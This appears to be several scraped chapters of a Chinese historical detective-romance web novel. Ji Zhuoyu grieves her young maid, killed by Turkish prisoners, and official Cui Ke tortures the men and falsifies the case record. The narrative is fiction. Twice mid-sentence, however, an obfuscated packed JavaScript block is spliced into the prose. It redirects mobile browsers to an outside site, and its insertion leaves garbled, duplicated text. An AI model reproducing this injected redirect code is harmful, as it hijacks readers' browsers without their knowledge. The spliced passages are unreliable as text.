后花园冲进来一众官差,崔十八小跑到自家大人身旁,恭敬道:“大人,我们在礼泉坊丽娘住处搜到了迷药和与西突厥人来往的书信,信中密谋之事正是刺杀使者嫁祸公主。” 丽娘神色慌张,跪在地上,肩膀被官差压着,袖中暗器滚落到绣花锦鞋边。 “大人,不关我事啊,是他们逼我这么做的,我家中父母和小妹都被他们抓走了,如果不按他们说的做,他们会杀我全家的。” 季琢玉在听到“小妹”二字时,眉头皱缩,忽然想起这群人见过红绫,快步上前问道:“你们见没见过一个十四岁的小孩,穿绛色襦裙,梳双垂髻,昨晚宵禁前后她去过永兴坊。” 丽娘摇摇头,神色不像是骗人。 倒在地上的几个突厥男人,面面相觑,眼神有异样,什么话也没说。 “将人全部带下去,关入死囚大牢。”崔恪冷着脸下令。 崔十八示意官差把人都押下去,思虑片刻问自家大人:“陛下刚下了旨意,此事若查出是突厥人内乱,不必按大唐律法问斩,将凶犯交由鸿胪寺便是。” “按我说的去做,陛下那儿我亲自去解释。” 崔恪不改主意,崔十八也不好再继续劝说。 当年崔世茂崔大人就是因为太过执拗,一意孤行,惹得陛下不悦,被贬至岭南任知府的。 怎么自家大人不懂前车之鉴呢,非要效仿父亲所为。 季琢玉心不在焉,神情落寞,一抬头才意识到后花园里的官差都走了,西突厥人和丽娘也被带走了,只剩下她和崔大人。 “大人,我……” 她欲言又止,无论如何崔恪也是朝中四品官员,公务繁忙,长安城中案子一个接一个,她就算说了,他也不会答应帮她找人的。 “本官从不徇私。” 崔恪之前说的话回荡在她的耳边,她抿着唇,双手攥成拳头。 不知为何,她心里隐隐约约像被针扎一样疼,可是丽娘的银针并未打到她的身上。 红绫会去哪儿呢? 崔恪走过去,从袖口中拿出一个佩囊,正是昨日在永兴坊搜查到的红绫的贴身之物。 季琢玉看着被塞在自己手心里的佩囊,目光上移落到不怒不喜的脸上。 “大人,这东西……不是此案的线索吗?您怎么给我了。” 崔恪纹丝不动立着,凝视着她的眼眸水波不兴,深不见底。 “这佩囊与你身上的佩囊出自同一人之手,既然是你的东西,案子已结,物归原主。” 季琢玉捏着佩囊,指腹搓揉过布面上的绣花针脚,针脚不平整,还有几处勾线缺针,像是在平静的溪底摸到石粒般硌手。 她的女工并不好,听秦姨的话被迫跟花大叔学过几天,但也是三天打鱼两天晒网,没学会就翻窗出去玩了。 花大叔向来惯着她,不会在这些事情上苛责。 只有小红绫不嫌弃她的绣工,把她送的佩囊日日戴在身上,除了沐浴其他时候都不会离身,爱不释手,视若珍宝。 季琢玉眼眶湿润,紧紧捏着佩囊,自言自语:“说你是个榆木脑袋,你还真是了,找不到我就不知道自个回家吗,我一身本领,长安城中谁能奈我何。” “她对你很重要?” 上一刻还无比倔强,死活不愿意让眼泪从眼眶里流出来,被崔恪一问,与红绫有关的点点滴滴记忆涌入脑海。 温馨的回忆霸道蛮横占据着她的思绪,像是故意要把眼泪挤出来。 季琢玉仰起头的瞬间,泪水决堤般从她的眼帘下滚落,浓密乌黑的睫毛早已被浸透,湿漉漉地黏连在一起。 她咬着唇点头,看得人心疼。 “这佩囊是我绣了送给红绫的生辰礼,她虽是秦姨从人牙子手里买来给我作伴的丫鬟,却与我情同姐妹。” “我昨日贪玩,把她弄丢了。” 季琢玉收起佩囊,好好地塞在腰带里,摸一把脸颊上的泪水,勉强挤出一个笑容。 “秦姨和花大叔已经知晓此事,说不定他们已经把红绫找回来了,我得赶紧回胡饼铺看看。” “大人这边案子已经了结,我就先回去了。” 她转身走,脚下踉跄一步,明明没有被什么东西绊到。 走出使馆,她回过神来,才发觉崔大人竟一直跟在她身后。 季琢玉停下脚步,歪头问:“大人不回讼棘堂吗?” 崔恪说:“用过晚饭再回也不迟。” 季琢玉料定他是吃腻了大理寺的饭菜,那些官差吃的东西经过朝廷层层把关,色香味早就没了,一点也不好吃。 “不瞒大人,长安城中的美食没有我不知晓的,哪家酒肆的葡萄酒最好喝,哪家铺子的汤浴绣丸最好吃,您只管问我。” “大人晚上想吃点什么?” 她还没能卖弄“学识渊博”,崔恪答道:“胡饼。” 季琢玉眼珠一转,赶紧说:“大人既然已经尝过了秦姨做的胡饼,不如再去尝尝西市宋三娘做的胡饼,一点都不比秦姨做的差,或者去杏花楼也好,符合大人您的身份。” 她不想让崔恪再去见秦姨和花大叔了,他官家人的身份实在不讨好,而且折腾了一天,她实在不想招待他了,只想赶紧去找红绫的下落。 “我单就喜欢吃一家做的胡饼,旁的难以下咽。” 崔恪把话说到这个份上,她再拦着就是大不敬了,只能请他一同回胡饼铺子。 “秦姨~” 季琢玉蹦蹦跳跳进了店,迅速环视四周,红绫不在店中,只有秦姨在柜前忙活,手拨算盘核算账本。 “花大叔和红绫呢?” “官府来人让你花叔过去,不晓得是什么事。”秦姨抬头看她一眼,漫不经心说:“至于红绫,你走后我们出去找了,没人瞧见她去哪儿了,说不定她是 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她弯下腰起身,翻毛领口敞开,白皙纤细的脖颈一侧隐约一道血痕,血迹已经干涸在布料上。 感觉到疼痛,她用手摸了摸,“嘶”一声皱起眉头。 应该是那群突厥人伤的她,那么锋利的弯刀架在她的脖子上,没取她性命也划伤了她的脖子。 崔恪目光状似无物瞥过她的脖子,随意搭在桌边的手指微微蜷起,眼神中徒增一抹不着痕迹的冷意。 季琢玉不以为然,只是翻了翻领口把伤口遮住,秦姨瞧见会担心的。 片刻,盘子里的羊肉胡饼尽数吃完,崔恪起身离开。 季琢玉笑脸送他出门,眯着眼睛,虚情假意地说:“您以后常来。” 崔恪走到店铺外,顿足一会儿,迟迟没有离开,好像是在等什么人。 季琢玉收拾桌子,抬头瞥他几眼,擦桌子的动作不停,没有要出去询问的意思。 估计是在等崔十八吧。 不一会儿,果然瞧见崔十八赶到此地,只是换了身衣裳,不是刚才在使馆中穿着的圆领缺骻袍,而是藏青色交领紧身衣,腰间挂着一块大理寺的腰牌。 崔十八恭敬地跟自家大人禀报已将犯案的西突厥人押入诏狱,鸿胪寺的大人来过了,听闻崔大人不在,便离开了。 他禀明情况,等着崔大人的下一步安排。 崔恪若有所思,片刻说:“她今日在使馆里舍命救我。” 崔十八一愣,说道:“属下派人查过了,季公子虽不务正业,游手好闲,却没少在坊间行侠仗义,他今日会舍命救大人,并不为奇。” 崔恪脸色一黑,冷声:“不一样。” 崔十八一拍脑袋,忽然想通了,笃定说:“属下明白了,听闻此人见钱眼开,一定是为了查案的那十文钱补贴才如此做的。” 崔十八觉得自个可聪明了,一想就想到了季公子救大人的目的,崔大人如果出什么事,查不了案,季公子一文钱都拿不到。 崔恪阖了阖眼,嘴角绷成一条线,面色不悦,撂下一句话:“在你看来,本官的性命就值十文钱?” 10. 第十章 崔十八险些跪地磕头,慌张解释:“属下不敢。” 他觉得自个说什么话都是错的,搞不清大人脑子里究竟在想什么。 莫不是崔大人怀疑季公子舍命救他,是有什么别的目的? 崔十八低着头想了许久也没想明白,再一抬头,自家大人已经走远了。 铺中,秦姨收了账本,看一眼时辰,估摸花大叔已经被官差叫去一个时辰了,担忧道:“怎得还没回来,什么事要他在县廨待这么久。” 季琢玉洗完盘子从店铺后院走出来,看到门口台阶上多了一瓶金创药,至于崔大人,已经离开了。 她拿起金创药,想到之前酒爷说的话,解药是崔恪送来的,全长安城就只有一瓶。 眼前这瓶金创药也价值不菲,其中龙骨和麝香价高,是朝廷供给大官们,一般官差手里不会有,寻常百姓更不必说,见都没见过这东西。 她知道这是金创药,是因为花大叔手里也有一瓶,藏在柜子里,她误打误撞翻出来过。 估计是花大叔从黑市买来的,生怕被贼人惦记,所以置之高阁。 天色渐黑,暮鼓敲响,一声接着一声,八百声后便是宵禁。 “花大叔怎么还没回来?” 季琢玉自言自语,此话刚落地,便看到花大叔低着头从不远处走过来,手里的花伞也没撑起来,攥在手里,单薄的身子步伐又沉重,神色更是从未有过的悲戚。 秦姨听到动静,放下水池里的盘子,拿着擦手的帕子走出来,先一步到花大叔面前。 “官差叫你去县廨做什么,是玉儿又闯祸了?这次是砸了西市的哪家铺子,还是欠了东市哪家店银子迟迟未清。” 季琢玉嘟着嘴,插上话:“秦姨,不关我事,这几日我可什么闲事都没管。” 她上次砸了西市卖饆饠的铺子,还不是因为追偷钱袋的小乞丐,孙家小姐的十两银子可是她追了三条街才给追回来的。 欠东市玉满楼老鸨的银子是因为给苦命的小丫头赎身,那小孩的爹忒不是东西,整日酗酒,没有钱买酒就把亲闺女卖到青楼里。 花大叔今日一改往常的轻浮,沉闷地说:“是红绫,县廨的人让我去把红绫带回来。” “红绫?”季琢玉高兴起来,眼巴巴地找寻红绫的身影,没瞧见人,又问:“她人呢,怎么没跟着回来?” 红绫为何会去县廨,她暂且没想,也不愿问,只要红绫回来了就好。 花大叔沉默不语,秦姨与他对视一眼,瞳孔一缩,擦手的动作忽然停下,察觉到什么,皱起眉头。 “花大叔,你怎么不说话呀?”季琢玉追问。 她想要往县廨去,没走两步,看到县廨的两个官差抬着什么东西迎面走过来。 等到走近看清是什么,她脸色苍白,愣在原地,用手捂着嘴,迟迟不敢上前半步。 她胆子大,半夜连坟地都敢去,却在大白天被一块白布吓到了。 白布下不是别人,正是红绫。 巴掌大的小脸被掌掴的五官模糊,两条小腿露在白布外面,像是轻易就能折断的枯枝。 胳膊脖子上布满了刺目的青紫色淤痕,深深浅浅,狰狞地爬满了原本该是白皙的皮肤。 脚踝伶仃,赫然系着一根褪了色的五彩丝线。 这根五彩丝线是端午节的时候,秦姨买给她们的,红绫和她各有一条,说是祈福保平安的,她嫌戴着行走不方便就收起来了,红绫则是日日戴在身上。 “不,不!”季琢玉红着眼眶,嘴唇抖个不停,目不转睛地盯了白布许久,扭头看向花大叔,哀求般问:“这不是红绫,一定是县廨搞错了,对吗?” 她看画本又常常闲逛到青楼花船上,只一眼就知道眼前这具尸体是怎么死的,生前经历过什么。 她咬着牙,眼泪如黄豆大小,连成串砸在地上。 没有听到想要的答复,她忽然失了浑身的力气,双膝跪地,抱住那具尸体。 身体里有什么东西彻底碎了,发出无声的轰鸣。 负责将红绫抬回来的官差在一旁说着什么,他们的声音传到她的耳朵里,只是模糊的,遥远的噪音。 花大叔走过来安慰她,声音沙哑:“谁也不想事情会变成这样,县廨的人说红绫不幸,宵禁前后遇上了醉酒的突厥人。” “突厥人?”季琢玉把这三个字咬得嘎吱响,双手攥成拳头冲进胡饼铺子里,再出来的时候身上穿上了轻便的大唐儿郎家衣裳,拎着一把随便从后院取来的菜刀。 她跑到花大叔身边,声音怒急了颤抖:“害死红绫的畜生在哪儿,我要让他们给红绫陪葬。” 花大叔拽住她的手臂,使出浑身力气才将她扯住,赶紧说:“被大理寺的人带走了,说是还牵扯别的案子。” 季琢玉听到大理寺三个字,脑子里残存的一丝理智被拉出来。 她要去找崔恪,让他把人交出来。 这不切实际,确是她内心所想,心中所盼,不亲手杀了害死红绫的突厥人,她死不瞑目。 “你放心,我打听过了,关押他们的牢狱是死囚去的地方,他们活不成。” 花大叔看出她所思,担心她真去大理寺闹事。 季琢玉像是忽然明白什么,挣脱开花大叔的束缚,丢了手里的菜刀,发疯似的往大理寺跑去。 突厥人,永兴坊,大理寺,死囚,别的案子…… 这些词在她脑袋里串成一条线,她已经见过杀害红绫的畜生了,就是使馆里被崔恪带走的西突厥人。 她恨自己蠢笨,没早点识破。 她边跑,耳边边回荡着红绫跟她说过的话,眼前是模糊的,是红绫冲着她笑。 十四岁的小丫头,临走时扭头看着她,小小的虎牙亮晶晶,声音是脆生生的:“姑娘,你就站这等我,我去给你挑最甜的杏酪。” 她跑了那么多次,红绫怎会不知,想吃杏酪,不过是支开她的由头。 她与宜春班的秋娘早约了昨日闲谈,红绫识字也看过二人的书信,知晓她就在宜春班的小院里。 红绫察觉到有人跟着,自然可以到宜春班,把不怀好意的突厥人引过去,以此脱身。 她却越走越远…… 暮鼓一声声敲响,小小的人儿头也不回地往东边走,倔强又固执,她怎么会愿意把不知目的的歹人引到自家小姐身边。 第八百声鼓声落下,城郊的破庙里,衣不遮体的人儿,呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776230|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出最后一口气,笑着闭上了眼睛。 宵禁了,姑娘该到家了。 季琢玉冲进大理寺,一路上没有人拦着她,半路遇上酒爷。 “季公子?已经是宵禁了,您怎么到这来了,今晚可要住下?”酒爷拎着执壶,从饭堂出来,看来是刚一个人喝完小酒。 季琢玉像是没听到他说话,眼神直视不远处的牢狱,脚步飞快从他身边经过。 酒爷站在原地望着她的背影,这气冲冲的架势,手持菜刀,直奔牢狱,莫不是要劫狱? 崔大人这会儿正在牢狱里审犯人,她要想劫狱也该寻个合适的时辰,别让大人为难。 诏狱内,光线昏暗,几只松明火跳动的火光照在弥漫着陈年血锈的墙壁上。 崔恪一身绯红官袍,亲自坐镇审问死囚,腰背挺拔如松,面容沉静,深邃的眼眸不改往日理智。 他面容沉静如水,眼神锐利如鹰,双腿交叠,一只手随意搭在腿上,另一只手拿着浸泡过药水的牛皮鞭。 鞭子手柄处是乌木,镶嵌着红血髓,柄身缠绕鲛绡,鞭身银环相扣,冷硬尖锐。 牢狱外的护卫持剑将季琢玉拦在外面。 “让!开!” 季琢玉的声音嘶哑破碎,仿佛每一个字都是从喉咙深处硬生生撕裂出来,裹挟着滔天的恨意和绝望的寒霜,砸在冰冷的诏狱石壁上。 崔恪闻声缓缓将视线落在她的脸上。 他看到她手中的菜刀,看到她红着眼,牙齿将唇角咬出血。 他的眉头几不可察地蹙了一下,深邃的眼眸里翻涌着复杂的情绪,有凝重,有痛惜,还有一丝……了然。 崔十八不明白季琢玉是怎么闯进来的,他瞬间绷紧了身体,一个箭步挡在季琢玉与牢房之间,手按在腰间的佩刀上,沉声道:“季公子,请止步!此乃重犯羁押之地,不得擅闯!” 季琢玉根本无视崔十八的警告,她的目光穿透崔十八,狠狠钉在崔恪脸上。 声音因极致的愤怒而颤抖,却又带着一种令人毛骨悚然的平静:“止步?呵……” 她发出一声短促而凄厉的苦笑,“崔大人,您告诉我,红绫的事……您是不是一早就知道了?” 她每说一个字,手中的菜刀就握紧一分,指关节因用力而泛白,几乎要将刀柄捏碎。 崔恪沉默不语,只是一味凝视着她。 “你知道!你早就知道!”季琢玉吼着,泪水终于冲破决堤,混合着脸上的尘土滚落,在她苍白的脸上划出两道绝望的痕迹,“你却瞒着我,纵容这些禽兽多活一天,他们害死了红绫!红绫她才十四岁,她做错了什么?你告诉我!” 她在使馆时,就该跟这群西突厥人拼命。 官靴踩在石砖上,声音由远及近,未见官差,听到来报的声音。 “大人,鸿胪寺的人已经在外面候着了,要将谋害突厥来使的一众囚犯带走,说是……圣人的意思。” 季琢玉脸色白而发青,她知道朝廷将人交给鸿胪寺,就是没打算杀了这几个西突厥人。 东西突厥国之间的纷争,自然该由可汗处理。 那红绫呢? 谁来给红绫报仇,谁能给红绫主持公道! 11. 第十一章 崔恪轻应一声,听不出情绪,如往常一般冷酷着脸。 崔十八回答外面来报的官差。 “且去外面等着,一会儿便将人压去鸿胪寺。” 官差连连应声离开。 崔十八目光官差走远,收回目光落到季琢玉身上,她正咬着后槽牙,一副要跟人拼命的模样。 像小鸡仔似的,瘦弱的“小子”能跟谁拼命? 这牢里就三个人,西突厥人是圣上要保的,崔大人是四品大官,要真拼命也是他崔十八和他打起来。 在崔十八看来,眼前这位“季公子”会的都是三脚猫的功夫,花拳绣腿罢了。 “让我杀了他们。” 季琢玉冷冷地目光从崔十八面前一扫而过,最终落在拥有话语权的人身上——前日才认识的崔大人。 崔恪皱了一下眉头。 崔十八余光撇见他的神色,立刻上前一步,严肃道:“季公子,违抗圣旨是要被砍头的,你想死也不要拉上我家大人。” 季琢玉瞥他一眼,说:“我一人做事一人当。” “你当不起。” 崔恪打断她的话,淡淡的声音像山间流水淌过,不急不缓,却十分清晰。 他凝视着她的眼睛,像是要硬生生把她眼中的怒气逼退。 季琢玉眼眶红的像兔子,额头上蒙着一层细密的汗珠,握着菜刀的手不停的颤抖,五指蜷缩着,骨节清晰发白。 铁阎罗,怪不得人人都这么喊他。 在他眼里,一介草民的性命算得了什么,他是朝廷的官,是圣人钦点的大理寺少卿,怎会为了一个毫不相干的人违抗圣旨? “季公子,死的只是一个丫鬟,人各有命,生死在天,您这是何必呢,不知道的还以为红绫是您的心上人呢。” “您今日所作所为若是传出去,怕是有损季小爷的名声,少爷跟丫鬟不清不楚,可不算体面?” 崔十八双臂环抱在身前,配剑夹在手肘下说风凉话。 季琢玉心里的火烧得更旺了,牙齿咬得嘎吱嘎吱作响,瞪着崔十八,声音里夹着火药味:“你以为谁都跟你一样啊。” 他跟崔恪是什么关系,以为旁人眼瞎看不出来吗? 崔恪任职十年不娶妻不纳妾,身边就一个崔十八,连个女仆都没有,大慈恩寺里和尚都比不上他清心寡欲。 这两人之间,才是真正的不体面! 崔十八不理解这话的意思,他头脑简单,四肢发达,只以为是季公子气极了,胡言乱语呢。 崔恪脸色冷沉,一动不动地站着,单手背在身后,目光从未离开季琢玉半分。 他好像听不到她在说什么,注意力集中在她的嘴巴上,樱桃未熟的浅红色,不停地一张一合。 可爱又不可爱。 “请吧,季公子。” 崔十八要将季琢玉请出去,话语虽然客气,眼神却不善,她若是敢反抗,他就敢拔剑。 季琢玉不理会崔十八,直接朝着崔大人喊:“崔恪!你妄为大理寺少卿,弃大唐子民于不顾。” “大胆,崔大人的名讳岂是你能直呼的!”崔十八瞪眼,脑瓜子嗡嗡作响,头一回见如此大胆的人。 他回头看向自家大人,似乎看到了转瞬即逝的嘴角轻扬动作。 不,一定是看走眼了。 大人在笑什么? 季琢玉不愿离开,他正准备拔剑,就在这时,崔恪却抬起了手。 “十八,”他的声音低沉平稳,却带着不容置疑的威严,“闪开。” 崔十八猛地回头,眼中满是震惊和不解:“大人?!” “闪开。”崔恪重复道,目光沉静地看着季琢玉。 崔十八犹豫了一瞬,最终还是咬着牙,侧身让开了通道,但身体依然紧绷,警惕地盯着季琢玉手中的刀。 季琢玉看着挡路的人消失,没有丝毫犹豫,举着菜刀就要冲过去。 就在她与崔恪错身而过的瞬间,崔恪动了。 他没有拦她,也没有夺刀。 一条坚韧牛皮鞣制而成的长鞭赫然出现在季琢玉眼前,鞭子上还沾着未干的血迹,只有乌木手柄擦得锃亮。 她忽然停下脚步,错愕的目光看着崔恪。 他将那沉甸甸的、带着他体温的鞭子,递到了她拿着菜刀的手边。 “拿着这个。”崔恪的声音依旧听不出太大波澜,但眼神却锐利如刀锋,紧紧锁住她,“菜刀钝了,这个,趁手。” 季琢玉的动作骤然僵住。 她难以置信地低头看着递到面前的牛皮鞭,又猛地抬头看向崔恪。 他那张总是带着清冷疏离、运筹帷幄的脸上,此刻清晰地映着她满脸泪痕的倒影,以及红肿的双眼。 “既然有了旨意,里面的人就不能死,更不能死在你手里。” 崔恪的声音压得很低,只有他们两人能听清,“实在要出气……” 他的目光转向那扇沉重的牢门,门内隐约传来西突厥人用听不懂的语言发出的粗野叫嚣。 “就用这个。” 他握着鞭柄,往前又递了一寸,几乎触到季琢玉冰冷的手指,“进去吧。” 季琢玉的呼吸变得粗重,胸膛剧烈起伏,眼中的恨意与崔恪眼中的决绝激烈碰撞。 她皱着眉头,相比刚才的生气,这下更多的是疑惑。 崔恪这么做,坏了律法,坏了大理寺的规矩,更坏了他这么多年引以为傲的原则底线。 “按照律法,打死他们,我会死吗?”季琢玉仰着头问他。 天真的问题是最好的试探。 崔恪的声音更沉了几分,带着一种冰冷的、属于上位者的决断:“会。” 这句话,像一道赦令,也像一道催命符。 他甚至没有思考,脱口而出。 季琢玉死死盯着崔恪的眼睛,仿佛要从中分辨出真假。 他不像是吓唬她,像是很平淡的告诉她事实真相。 杀人就是要偿命的,哪怕她杀的是该死的人。 “崔大人是在威胁我吗?” 季琢玉恢复了些冷静,她还不能死,花大叔和秦姨含辛茹苦把她养大,不是让她给几个突厥混蛋陪葬的。 崔恪不语,平静看着她,背在身后的手,悄然紧握成拳,指节因用力而泛白。 他确实很擅长威逼利诱,是天生的判官,但此刻,他才是那个被“判”的。 季琢玉嘴角迅速扯动了一下,挪开跟他对视的目光,盯着牢狱角落的烛灯,冷冰冰说:“刚才那位官爷说的没错,死的只是一个丫鬟,没什么大不了的。” 她好像突然想清楚了,转身往外走,双腿有千斤重,每走一步都那么艰难。 崔恪望着她的背影,耳边响起几句话。 “这佩囊是我绣了送给红绫的生辰礼,她虽是秦姨从人牙子手里买来给我作伴的丫鬟,却与我情同姐妹。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776231|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我昨日贪玩,把她弄丢了。” …… 他手攥着皮鞭子,手指修长,骨节分明,指尖剪得圆润干净,微茧的拇指搓磨过乌木手柄,发出吱吱的声音。 崔十八见闹剧停了,赶紧走到自家大人面前,恭敬地说:“大人,耽搁的时间够久了,鸿胪寺的那群人早该不耐烦了。” 御史台控鹤监丞来祖炎来大人几次拉拢崔大人,都没得到正面回应,两人就这么僵持着,朝上朝下都不愉快。 今日前来要人的鸿胪寺卫大人正是来大人的义子,必然是不会给崔大人好脸色的。 因为季公子擅闯牢狱,崔大人迟迟没出面相迎,等会儿见了,免不了要受些刁难。 “你先出去。”崔恪沉着脸。 崔十八应声:“是,大人。” 牢狱的门敞开着,坦然,直白,渗出一股强烈的冷气。 崔恪高大的身影瞬间占据了牢门口的光线,将本就昏暗的牢笼拖入更深的阴影。 他下颌线绷得死紧,薄唇抿成一条冷酷的直线,唯有那双深不见底的眼眸,死死盯着几个被绑在一起的西突厥人,眼里翻涌着惊涛骇浪。 那几个西突厥人惊恐地抬起头,当看清去而复返、手持染血长鞭、眼神如同择人而噬凶兽的崔恪时,他们脸上残余的恶意和嗤笑瞬间冻结,化为深深的不解。 “你……你要做什么?我们是……卫大人要保下来的人……你不能……” 一个稍微懂点汉话的西突厥人用变了调的嗓音嘶喊。 崔恪没有回答。 他甚至没有给这些人再说一个字的机会。 他手腕猛地一抖! 只一鞭子,其中一个西突厥人的左臂便断了,一声声惨叫惊起窗外的乌鸦,痛苦地趴在地上,血流成河。 “说,是谁让你们这么做的?”崔恪的声音低沉如九幽寒冰,每一个字都裹着凛冽的杀意。 “灭国之仇,不得不报。”看到同伴惨状的西突厥人不但不求饶,反而理直气壮,用汉话又吐字不清说:“大人,我们虽杀了使者,可颉跌利施可汗没有让大唐治罪于我们,您凭什么动用刑罚!” 崔恪眼神冰冷得没有一丝温度:“你该知道,本官问的不是这个。” 西突厥人身体一抖,眼神明显不再坚定,取而代之的是一抹慌乱和紧张。 “大人是说那小丫头,我们喝醉了酒……要怪就怪她运气不好!” 他说着说着,忽然不再说下去,眼前这位崔大人的脸色极差,眼神被一层厚厚的冰覆盖着。 “你似乎没听懂本官的话。” 清脆的鞭挞声再次响起,只一声,随后而来的惨叫声划破天际。 连着两个同伴失去手臂,最后一个西突厥人终于松了口,颤抖着嘴唇说出一个名字。 “是……天枢阁。” 话音未落,不知从何处飞来一把飞镖,一镖刺中西突厥人的喉咙,破喉而死。 崔恪迅速看向窗户,纸糊的窗破了个洞,浅白的月光照进来,洒在他的脚边。 守在外面的崔十八已经闻声追了出去。 崔恪陷入深思,天枢阁这三个字听祖父提起过,是高宗秘密组建的情报组织,武后掌权登基后,天枢阁的奇人异士便下落不明了。 朝廷这些年一直在追踪这群人的下落,企图将他们重新困于天枢阁,为武后所用。 红绫怎么会牵扯上天枢阁? 12. 第十二章 不一会儿,崔十八步伐匆匆从外面回来,一脸严肃,低着头也不说话,显然是把人跟丢了。 “大人,属下无能……” “你确实无能。” 崔恪这话并非斥责,只是听起来颇不给人面子。 如果这的是天枢阁的人,崔十八就算是使尽浑身解数,丢了性命,也不是这群人的对手。 “属下跟在大人身边十年,大人您怎么一点面子也不给啊。” 崔十八嘴里嘀咕。 “我已经让十九回来了,以后你替他监视岭南官员。” 崔十八一愣,他想不明白只是没追上刺客,为何大人要将他贬去岭南,虽说还是在大理寺任职,可任职的地方不一样了。 岭南和长安,差的不是一星半点。 “大……” 他还想继续说什么,但心里清楚自家大人是什么脾气,大人下定决心的事情,没人能改变。 崔恪微微喘息着,胸膛起伏。 他缓缓垂下握着鞭子的手,粘稠的、温热的血液顺着鞭身流下,染红了他的手指,滴落在地。 他低头,看着自己沾满鲜血的手,看着地上那几具几乎不成人形的“东西”,眼神有一瞬间的茫然,随即又被更深的冰冷覆盖。 他什么也没说,转身,拖着那柄滴血的皮鞭,一步步走出牢房。 经过崔十八身边时,那股浓重的血腥气和肃杀之气,让崔十八不由自主地后退了半步。 “再多说一句,你便去房州。” 房州还不如岭南,岭南好歹有崔家人在。 “属下领命。” 崔十八不甘心离开长安,但是想破脑袋也想不明白,自家大人为何要让十九代替他的工作。 明明他的武功在十九之上。 崔恪走到廊道中,停下。 他没有看任何人,只是从怀中掏出一方素白的手帕,慢条斯理地擦拭着手上沾染的血迹。 他的动作依旧优雅,却带着一种令人心悸的寒意。 擦干净手,他将染血的手帕随意丢弃在地。 他缓缓抬起眼,望向季琢玉消失的方向,那深潭般的眼眸深处,翻涌着无人能懂的、混杂着痛楚、暴戾与一丝后怕的复杂情绪。 “收拾干净。” 他开口,声音恢复了平日的冷冽,却带着一丝不易察觉的沙哑,“记档:西突厥重犯,抗拒审讯,意图袭官,被当场格杀。” 说完,他不再停留,迈开步子,朝着季琢玉离开的方向,一步步走去,只留下身后一地的血腥和崔十八满心的惊涛骇浪。 伪造案卷,他跟在大人身边这么久,这是从未有过的事情。 为何不将刺客的事情禀报朝廷? 崔十八照大人的意思处理了尸体,他知道,大人这么做必然有自己的打算。 那柄沾满双份仇恨的牛皮鞭,静静地躺在地上,鞭梢的血珠,还在缓缓滴落。 长安城的雨,下得黏稠又冰冷,毫无征兆,像是天上有人撕碎了浸透陈年血渍的棉絮,没完没了地往下抖落。 雨水砸在大理寺高耸的朱漆大门上,溅起细碎的雾。 又顺着门板上狰狞的狴犴兽首浮雕流淌下来,在门前光洁如镜的青石板上汇成一道道蜿蜒的暗红溪流,最终没入阴沟。 两尊石獬豸蹲踞门侧,雨水在它们冰冷的独角上摔得粉碎,空气里弥漫着浓重的土腥味和石兽身上渗出的、若有若无的铁锈气息。 离那象征着帝国最高刑狱威严的大门不远处,一座毗邻官署的屋顶,成了最好的瞭望台。 湿透的琉璃瓦吸饱了水,乌沉沉地反射不出半点天光,滑得能溜冰。 两道身影,一高一低,紧贴着最高处屋脊的阴影里,如同两只被雨水打湿了羽毛、却依旧死死盯着猎物的鹞鹰。 秦姨整个人伏在冰冷的瓦片上,身体绷得像一张拉满的硬弓。 她身上那件常年在西市胡饼摊烟熏火燎的靛蓝粗布衣,此刻被雨水浸透,紧裹着依旧利落精悍的身形,勾勒出紧绷的肩背线条。 雨水顺着她灰白散乱的鬓角往下淌,滑过眼角深刻的纹路。 她却连眼睫都不曾眨动一下,目光如同淬了火的锥子,穿透迷蒙的雨帘,死死钉在大理寺那扇紧闭的、仿佛能吞噬一切的朱红大门上。 搁在瓦片上的那只手,五指微张,指关节因过度用力而泛出青白色,指尖下,一片无辜的青瓦“喀”地一声轻响,被她生生捏碎了一角,细小的碎屑混入雨水。 她的腰间挂着两把刀,看起来有些年头了,刀身锃亮,刀柄上的穗子洗的褪色。 旁边,花大叔蹲踞的姿态随意,甚至带着点他惯有的、摆弄胭脂水粉时的讲究。 轻薄的宝蓝锦袍下摆被雨水溅湿了一大片,深色的水痕晕染开来。 不离身的描金油纸花伞斜斜倚在肩头,伞面上精致的折枝海棠在灰暗天光下显得格外靡艳而突兀。 他翘着尾指,用一方素白得刺眼的丝帕,小心翼翼地按了按被雨水打湿的额角鬓发,动作轻柔得仿佛在擦拭一件名贵的瓷器。 一双总是带着三分慵懒笑意的狭长凤眼,此刻锐利如刀,焦灼与一种近乎野兽护崽般的狠戾在眼底翻滚,同样一瞬不瞬地锁着下方。 他简直称得上是笑面虎,娇柔如女人的作派跟他眼里的阴森狠厉形成强烈的对比。 “姓崔的若敢动玉儿一根指头……”秦姨的声音从紧咬的牙关里挤出来,被沙沙的雨声裹挟着,每个字都像淬了冰的钉子,狠狠钉进潮湿的空气里,“老娘拆了他大理寺的脊梁!” 花大叔没说话,只是搭在伞柄中段那滑润竹骨上的手指,极其细微地蜷缩了一下。伞柄内部,某种极其精密的机括发出了一声比蚊蚋振翅还要轻微的“嗒”声,仿佛毒蛇在暗处缓缓昂起了头颅。 就在这时,那扇紧闭的、仿佛千年不开的朱红大门,竟毫无征兆地被人从里面猛地推开! 沉重的门轴发出令人牙酸的呻吟,打破了雨幕下令人窒息的死寂。 门洞内深沉的黑暗被撕开一道口子。 一个纤瘦却挺得笔直的身影,踉跄着从那象征死亡与律法的黑暗门洞里倒退而出。 